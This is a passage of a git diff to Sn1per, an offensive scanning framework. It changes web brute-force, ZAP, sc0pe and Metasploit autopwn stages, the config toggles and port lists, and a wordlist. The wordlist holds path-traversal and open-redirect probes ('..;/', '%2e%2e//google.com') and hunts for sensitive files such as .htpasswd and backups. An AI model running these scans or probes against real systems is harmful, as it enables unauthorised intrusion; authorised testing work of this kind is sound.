-t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-common.txt -fw -r @@ -236,7 +242,7 @@ if [[ "$MODE" = "webporthttps" ]]; then echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_FULL -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-full.txt -fw -r @@ -247,7 +253,7 @@ if [[ "$MODE" = "webporthttps" ]]; then echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" if [[ "$DIRSEARCH" == "1" ]]; then - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt + python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,404,405,406,429,500,502,503,504 -F -e "/" -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt fi if [[ "$GOBUSTER" == "1" ]]; then gobuster -u https://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" -t $THREADS -o $LOOT_DIR/web/webbrute-$TARGET-https-port$PORT-exploits.txt -fw -r @@ -314,12 +320,15 @@ if [[ "$MODE" = "webporthttps" ]]; then cd $INSTALL_DIR fi cd $INSTALL_DIR - if [[ "$METASPLOIT_EXPLOIT" == "1" ]]; then - SSL="true" - source modes/web_autopwn.sh - fi + + SSL="true" + source modes/web_autopwn.sh source modes/osint_stage_2.sh + fi + + source modes/sc0pe.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED SCAN COMPLETE! $RESET" echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" diff --git a/modes/webscan.sh b/modes/webscan.sh index 94aeea3..0d222d4 100644 --- a/modes/webscan.sh +++ b/modes/webscan.sh @@ -50,6 +50,18 @@ if [[ "$MODE" = "webscan" ]]; then /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" echo "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt fi + if [[ "$SC0PE_VULNERABLITY_SCANNER" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING SC0PE WEB VULNERABILITY SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + SSL="false" + source $INSTALL_DIR/modes/sc0pe-passive-scan.sh + source $INSTALL_DIR/modes/sc0pe-active-scan.sh + SSL="true" + source $INSTALL_DIR/modes/sc0pe-passive-scan.sh + source $INSTALL_DIR/modes/sc0pe-active-scan.sh + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + fi if [[ "$BURP_SCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET" @@ -80,6 +92,23 @@ if [[ "$MODE" = "webscan" ]]; then echo "[-] Done!" fi + if [[ "$ZAP_SCAN" == "1" ]]; then + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED RUNNING OWASP ZAP SCAN $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo "[i] Scanning: http://$TARGET/" + sudo python3 /usr/share/sniper/bin/zap-scan.py "http://$TARGET/" + DATE=$(date +"%Y%m%d%H%M") + sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html + echo "[i] Scan complete." + echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-http-$DATE.html" + sleep 5 + echo "[i] Scanning: https://$TARGET/" + sudo python3 /usr/share/sniper/bin/zap-scan.py "https://$TARGET/" + sudo grep "'" /usr/share/sniper/bin/zap-report.txt | cut -d\' -f2 | cut -d\\ -f1 > $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html + echo "[i] Scan complete." + echo "[+] Report saved to: $LOOT_DIR/web/zap-report-$TARGET-https-$DATE.html" + fi if [[ "$ARACHNI_SCAN" == "1" ]]; then echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo -e "$OKRED RUNNING ARACHNI SCAN $RESET" @@ -105,6 +134,11 @@ if [[ "$MODE" = "webscan" ]]; then unzip arachni.zip cd $INSTALL_DIR fi + source modes/sc0pe.sh + + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" + echo -e "$OKRED SCAN COMPLETE! $RESET" + echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•" echo "$TARGET" >> $LOOT_DIR/scans/updated.txt loot if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then diff --git a/sniper b/sniper index cdd084d..8f9247e 100755 --- a/sniper +++ b/sniper @@ -400,6 +400,7 @@ function init { mkdir $LOOT_DIR/osint 2> /dev/null mkdir $LOOT_DIR/credentials 2> /dev/null mkdir $LOOT_DIR/web 2> /dev/null + mkdir $LOOT_DIR/vulnerabilities 2> /dev/null mkdir $LOOT_DIR/notes 2> /dev/null mkdir -p $LOOT_DIR/scans/scheduled/ 2> /dev/null touch $LOOT_DIR/scans/scheduled/daily.sh 2> /dev/null diff --git a/sniper.conf b/sniper.conf index cec3584..004675b 100644 --- a/sniper.conf +++ b/sniper.conf @@ -84,7 +84,7 @@ WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt" WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt" WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt" WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt" -WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,action,do,war,cfm,page,bak,cfg,sql,txt,md,zip,jar,tar.gz,conf,swp,xml,ini,yml,cgi,pl,js,json" +WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,js" # DOMAIN WORDLISTS DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt" @@ -105,21 +105,22 @@ FLYOVER_MAX_HOSTS="5" FLYOVER_DELAY="10" # NMAP OPTIONS -NMAP_OPTIONS="-sV -Pn -O -v --script-args http.useragent=''" +NMAP_OPTIONS="--script-args http.useragent='' --open" # NMAP PORT CONFIGURATIONS QUICK_PORTS="21,22,23,25,53,80,110,137,138,139,161,162,443,445,512,513,514,1099,1433,3306,4444,5000,5001,5104,5555,5432,5555,5800,5900,5901,6093,6095,6443,6667,7000,7001,7002,8009,8080,8081,8082,8089,8220,8888,8000,9080,10000,10250,49180" DEFAULT_PORTS="1,10008,10050-10051,10080,10098-10099,10162,10202-10203,1024,10250,1030,1035,10443,105,10616,10628,1090,109-111,1098-1103,11000-11001,11099,11211,11234,1128-1129,113,11333,11460,1158,1199,12000,1211,12174,1220,12203,12221,123,1234,12345,12397,12401,1241,13,1300,13013,1311,13364,135,13500,1352,137-139,13838,14000,143,14330,1433-1435,1440,1471,1494,15000-15001,15200,1521,1530,1533,1581-1582,16000,1604,161,16102,162,16992,17185,1720,17200,1723,1755,179,1811,18881,18980,19,1900,19300,19810,20000,2000-2001,20010,2002,20031,20034,20101,20111,20171,20222,2049,2067,2100,2103,2121,21-23,2181,2199,2207,222,2222,22222,2323,23423,23472,2362,23791,2380-2381,23943,25,25000,25025,2525,2533,2598,26000,26122,26256,2638,264,27000,27015,27017,2780,27888,27960,2809,28222,28784,2947,2967,3000,30000,3037,3050,3057,30718,31001,31099,3128,3200,32022,3217,3268,3269,3273,32764,32913,3299,33000,3306,3310,3333,3389,34205,34443,3460,3465,3500,3628,3632,3690,37,37718,37777,3780,3790,38080,3817,38292,384,389,3900,4000,40007,4002,402,407,41025,41080,41523-41524,42,4322,4433,44334,443-446,4444-4445,44818,45230,465,4659,4672,4679,46823-46824,47001-47002,4800,48080,4848,48899,49,49152,49180,500,5000,50000-50004,5001,50013,50050,5009,502,5038,5040,50500-50504,5051,5060-5061,5093,5104,512-515,5168,5227,52302,523-524,5247,5250,52869,53,53413,5351,5353,5355,540,5400,5405,5432-5433,5466,548,5498,5520-5521,554,5554-5555,55553,5560,5580,5631-5632,5666,57772,5800,5814,587,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,617,62078,623,62514,6262,631,6379,6405,6443,6502-6504,6542,655,65535,6660-6661,6667,67,6789,68,689,69,6905,6988,6996,7,7000-7001,7002,7021,705,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,771,7770,7777-7778,7787,7800-7801,783,7878-7879,7890,7902,79-81,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,831,8333,8400,8443-8445,85,8503,8642,8686,8701,873,8787,88,8800,8812,8834,888,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9,9002,9010,902,9050,9080-9081,9084,9090,9099-9100,910,9111,912,9152,9200,921,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,993,995,998-1000,9991,9999-10001,U:137,U:138,U:139,U:161,U:162,U:2049,U:389,U:500,U:520,U:53,U:67,U:68,U:69,U:88" DEFAULT_TCP_PORTS="10008,10050-10051,10080,10098-10099,10162,10202-10203,1024,10250,1030,1035,10443,105,10616,10628,1090,109-111,1098-1103,11000-11001,11099,11211,11234,1128-1129,113,11333,11460,1158,1199,12000,1211,12174,1220,12203,12221,123,1234,12345,12397,12401,1241,13,1300,13013,1311,13364,135,13500,1352,137-139,13838,14000,143,14330,1433-1435,1440,1471,1494,15000-15001,15200,1521,1530,1533,1581-1582,16000,1604,161,16102,162,16992,17185,1720,17200,1723,1755,179,1811,18881,18980,19,1900,19300,19810,20000,2000-2001,20010,2002,20031,20034,20101,20111,20171,20222,2049,2067,2100,2103,2121,21-23,2181,2199,2207,222,2222,22222,2323,23423,23472,2362,23791,2380-2381,23943,25,25000,25025,2525,2533,2598,26000,26122,26256,2638,264,27000,27015,27017,2780,27888,27960,2809,28222,28784,2947,2967,3000,30000,3037,3050,3057,30718,31001,31099,3128,3200,32022,3217,3268,3269,3273,32764,32913,3299,33000,3306,3310,3333,3389,34205,34443,3460,3465,3500,3628,3632,3690,37,37718,37777,3780,3790,38080,3817,38292,384,389,3900,4000,40007,4002,402,407,41025,41080,41523-41524,42,4322,4433,44334,443-446,4444-4445,44818,45230,465,4659,4672,4679,46823-46824,47001-47002,4800,48080,4848,48899,49,49152,49180,500,5000,50000-50004,5001,50013,50050,5009,502,5038,5040,50500-50504,5051,5060-5061,5093,5104,512-515,5168,5227,52302,523-524,5247,5250,52869,53,53413,5351,5353,5355,540,5400,5405,5432-5433,5466,548,5498,5520-5521,554,5554-5555,55553,5560,5580,5631-5632,5666,57772,5800,5814,587,5900-5910,5920,5984-5986,5999-6000,6002,6050,6060,6070,6080,6082,6093,6095,6101,6106,6112,6161,617,62078,623,62514,6262,631,6379,6405,6443,6502-6504,6542,655,65535,6660-6661,6667,67,6789,68,689,69,6905,6988,6996,7,7000-7001,7002,7021,705,7071,7080,7144,7181,7210,7272,7414,7426,7443,7510,7547,7579-7580,7700,771,7770,7777-7778,7787,7800-7801,783,7878-7879,7890,7902,79-81,8000-8001,8008,8009,8014,8020,8023,8028,8030,8050-8051,8080-8082,8085-8088,8089,8090-8091,8095,8101,8161,8180,8205,8220,8222,8300,8303,831,8333,8400,8443-8445,85,8503,8642,8686,8701,873,8787,88,8800,8812,8834,888,8880,8888-8890,8899,8901-8903,8980,8983,8999-9005,9,9002,9010,902,9050,9080-9081,9084,9090,9099-9100,910,9111,912,9152,9200,921,9256,9300,9390-9391,9495,9500,9711,9788,9809-9815,9855,9875,9876,9910,993,995,998-1000,9991,9999-10001" TOP_1000_PORTS="1,100,1000,10000,10001,10002,10003,10004,10009,1001,10010,10012,1002,10024,10025,1007,10082,1009,1010,1011,10180,1021,10215,1022,1023,1024,10243,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,10566,1057,1058,1059,106,1060,1061,10616,10617,1062,10621,10626,10628,10629,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,10778,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,109,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,110,1100,1102,1104,1105,1106,1107,1108,111,1110,1111,11110,11111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,113,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,119,1192,11967,1198,1199,12000,1201,1213,1216,1217,12174,1218,12265,1233,1234,12345,1236,1244,1247,1248,125,1259,1271,1272,1277,1287,1296,13,1300,1301,1309,1310,1311,1322,1328,1334,13456,135,1352,13722,13782,13783,139,14000,1417,14238,143,1433,1434,144,1443,14441,14442,1455,146,1461,1494,1500,15000,15002,15003,15004,1501,1503,1521,1524,1533,1556,15660,15742,1580,1583,1594,1600,16000,16001,16012,16016,16018,16080,161,16113,163,1641,1658,1666,1687,1688,16992,16993,17,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,17877,179,17988,1801,18040,1805,18101,1812,1839,1840,1862,1863,1864,1875,18988,19,1900,19101,1914,19283,19315,1935,19350,1947,1971,1972,1974,19780,19801,1984,19842,199,1998,1999,20,2000,20000,20005,2001,2002,2003,20031,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,20221,20222,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,20828,2099,21,2100,2103,2105,2106,2107,211,2111,2119,212,2121,2126,2135,2144,21571,2160,2161,2170,2179,2190,2191,2196,22,2200,222,2222,2251,2260,2288,22939,23,2301,2323,23502,2366,2381,2382,2383,2393,2394,2399,24,2401,24444,24800,2492,25,2500,2522,2525,254,255,2557,256,25734,25735,259,26,2601,2602,2604,2605,2607,2608,26214,2638,264,27000,2701,27017,2702,2710,2717,2718,2725,27352,27353,27355,27356,27715,280,2800,2809,2811,28201,2869,2875,2909,2910,2920,2967,2968,2998,3,30,3000,30000,3001,3003,3005,3006,3007,301,3011,3013,3017,3030,3031,3052,306,3071,30718,3077,30951,31038,311,3128,31337,3168,32,3211,3221,3260,3261,3268,3269,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,3283,33,3300,3301,3306,3322,3323,3324,3325,3333,33354,3351,3367,3369,3370,3371,3372,3389,33899,3390,340,3404,34571,34572,34573,3476,3493,3517,3527,3546,35500,3551,3580,3659,366,3689,3690,37,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,38292,3851,3869,3871,3878,3880,3889,389,3905,3914,3918,3920,3945,3971,3986,3995,3998,4,4000,4001,4002,4003,4004,4005,4006,40193,4045,406,407,40911,4111,4125,4126,4129,41511,416,417,42,4224,4242,425,42510,427,4279,43,4321,4343,44176,443,444,4443,4444,44442,44443,4445,4446,4449,445,44501,45100,4550,4567,458,464,465,4662,48080,481,4848,4899,49,4900,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,497,4998,49999,500,5000,50000,50001,50002,50003,50006,5001,5002,5003,5004,5009,5030,50300,5033,50389,5050,50500,5051,5054,5060,5061,50636,5080,50800,5087,5100,5101,5102,51103,512,5120,513,514,51493,515,5190,5200,5214,5221,5222,5225,5226,524,52673,5269,5280,52822,52848,52869,5298,53,5357,54045,5405,541,5414,543,5431,5432,54328,544,5440,545,548,5500,55055,55056,5510,554,5544,555,5550,5555,55555,5560,55600,5566,563,5631,5633,5666,56737,56738,5678,5679,5718,57294,5730,57797,5800,5801,5802,58080,5810,5811,5815,5822,5825,5850,5859,5862,587,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,593,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6,6000,6001,6002,60020,6003,6004,6005,6006,6007,6009,6025,60443,6059,6100,6101,6106,6112,6123,6129,61532,6156,616,617,61900,62078,625,631,63331,6346,636,6389,646,64623,64680,648,65000,6502,6510,65129,65389,6543,6547,6565,6566,6567,6580,6646,666,6666,6667,6668,6669,667,668,6689,6692,6699,6779,6788,6789,6792,683,6839,687,6881,6901,691,6969,7,70,700,7000,7001,7002,7004,7007,7019,7025,705,7070,7100,7103,7106,711,714,720,7200,7201,722,726,7402,7435,7443,749,7496,7512,7625,7627,765,7676,7741,777,7777,7778,7800,783,787,79,7911,7920,7921,7937,7938,7999,80,800,8000,8001,8002,8007,8008,8009,801,8010,8011,8021,8022,8031,8042,8045,808,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,81,8100,8180,8181,8192,8193,8194,82,8200,8222,8254,8290,8291,8292,83,8300,8333,8383,84,8400,8402,843,8443,85,8500,8600,8649,8651,8652,8654,8701,873,88,880,8800,8873,888,8888,8899,89,898,8994,9,90,900,9000,9001,9002,9003,9009,901,9010,9011,902,903,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,911,9110,9111,912,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,981,987,9876,9877,9878,9898,99,990,9900,9917,992,9929,993,9943,9944,995,9968,999,9998,9999" +NMAP_TOP_1000="1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,280,4567,7001,8008,9080" DEFAULT_UDP_PORTS="53,67,68,69,88,123,161,162,137,138,139,389,500,520,2049" FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049" - -THREADS="20" +THREADS="100" # NETWORK PLUGINS NMAP_SCRIPTS="1" METASPLOIT_EXPLOIT="1" +MSF_LEGACY_WEB_EXPLOITS="0" SSH_AUDIT="1" SSH_ENUM="1" LIBSSH_BYPASS="1" @@ -128,8 +129,8 @@ FINGER_TOOL="1" SHOW_MOUNT="1" RPC_INFO="1" SMB_ENUM="1" -AMAP="1" -YASUO="1" +AMAP="0" +YASUO="0" # OSINT PLUGINS WHOIS="1" @@ -147,20 +148,22 @@ H8MAIL="0" GITHUB_SECRETS="0" # ACTIVE WEB PLUGINS +SC0PE_VULNERABLITY_SCANNER="1" BURP_SCAN="0" ARACHNI_SCAN="1" +ZAP_SCAN="0" DIRSEARCH="1" GOBUSTER="0" -NIKTO="1" +NIKTO="0" BLACKWIDOW="1" -CLUSTERD="1" -WPSCAN="1" -CMSMAP="1" +CLUSTERD="0" +WPSCAN="0" +CMSMAP="0" WAFWOOF="1" WHATWEB="1" -WIG="1" -SHOCKER="1" -JEXBOSS="1" +WIG="0" +SHOCKER="0" +JEXBOSS="0" WEBTECH="1" SSL_INSECURE="1" HTTP_PROBE="1" @@ -168,8 +171,8 @@ HTTP_PROBE="1" # ACTIVE WEB BRUTE FORCE STAGES WEB_BRUTE_STEALTHSCAN="1" WEB_BRUTE_COMMONSCAN="1" -WEB_BRUTE_FULLSCAN="1" -WEB_BRUTE_EXPLOITSCAN="1" +WEB_BRUTE_FULLSCAN="0" +WEB_BRUTE_EXPLOITSCAN="0" WEB_JAVASCRIPT_ANALYSIS="1" MAX_JAVASCRIPT_FILES="25" @@ -177,6 +180,7 @@ MAX_JAVASCRIPT_FILES="25" WAYBACKMACHINE="1" SSL="1" PASSIVE_SPIDER="1" +GUA="1" HACKERTARGET="1" CUTYCAPT="0" WEBSCREENSHOT="1" diff --git a/wordlists/web-brute-common.txt b/wordlists/web-brute-common.txt index 4098584..d5a4205 100644 --- a/wordlists/web-brute-common.txt +++ b/wordlists/web-brute-common.txt @@ -1,146 +1,9 @@ -;/..;/manager -.git/config -.travis.yml -dispatcher/invalidate.cache -Makefile -Dockerfile -package.json -gulpfile.js -composer.json -web.config -.bash_history -.bashrc -.cache -.config -.cvs -.cvsignore -.forward -.git/HEAD -.history -.hta -.htaccess -.htpasswd -.DS_Store -readme.md -readme.txt -.gitignore -.listing -.listings -.mysql_history -.passwd -.perf -.profile -.rhosts -.sh_history -.ssh -.subversion -.svn -.svn/entries -.swf -.web +* +..;/ +/* @ _ -_adm -_admin -_ajax -_archive -_assets -_backup -_baks -_borders -_cache -_catalogs -_code -_common -_conf -_config -_css -_data -_database -_db_backups -_derived -_dev -_dummy -_files -_flash -_fpclass -_images -_img -_inc -_include -_includes -_install -_js -_layouts -_lib -_media -_mem_bin -_mm -_mmserverscripts -_mygallery -_net -_notes -_old -_overlay -_pages -_private -_reports -_res -_resources -_scriptlibrary -_scripts -_source -_src -_stats -_styles -_swf -_temp -_tempalbums -_template -_templates -_test -_themes -_tmp -_tmpfileop -_vti_aut -_vti_bin -_vti_bin/_vti_adm/admin.dll -_vti_bin/_vti_aut/author.dll -_vti_bin/shtml.dll -_vti_cnf -_vti_inf -_vti_log -_vti_map -_vti_pvt -_vti_rpc -_vti_script -_vti_txt -_www -~adm -~admin -~administrator -~amanda -~apache -~bin -~ftp -~guest -~http -~httpd -~log -~logs -~lp -~mail -~nobody -~operator -~root -~sys -~sysadm -~sysadmin -~test -~tmp -~user -~webmaster -~www +~/ 0 00 01 @@ -152,6 +15,12 @@ _www 07 08 09 +0admin/ +0admin/login.asp +0.htpasswd +0manager/ +0manager/admin.asp +0.php 1 10 100 @@ -163,6 +32,8 @@ _www 11 12 123 +123.php +123.txt 13 14 15 @@ -176,8 +47,17 @@ _www 1997 1998 1999 +1c/ +1.htaccess +1.htpasswd +1.php +1.sql +1.tar.gz +1.txt 1x1 +1.zip 2 +%20../ 20 200 2000 @@ -191,22 +71,75 @@ _www 2008 2009 2010 +2010.sql +2010.tar +2010.tar.gz +2010.tgz +2010.zip 2011 +2011.sql +2011.tar +2011.tar.gz +2011.tgz +2011.zip 2012 +2012.sql +2012.tar +2012.tar.gz +2012.tgz +2012.zip 2013 +2013.sql +2013.tar +2013.tar.gz +2013.tgz +2013.zip 2014 +2014.sql +2014.tar +2014.tar.gz +2014.tgz +2014.zip +2015.sql +2015.tar +2015.tar.gz +2015.tgz +2015.zip +2016.sql +2016.tar +2016.tar.gz +2016.tgz +2016.zip +2017.sql +2017.tar +2017.tar.gz +2017.tgz +2017.zip +2018.sql +2018.tar +2018.tar.gz +2018.tgz +2018.zip 21 22 2257 23 24 25 +%2e%2e//google.com +%2e%2e;/test 2g +2.php +2phpmyadmin/ +2.sql +2.txt 3 30 300 32 +%3f/ 3g +3.php 3rdparty 4 400 @@ -214,58 +147,97 @@ _www 403 404 42 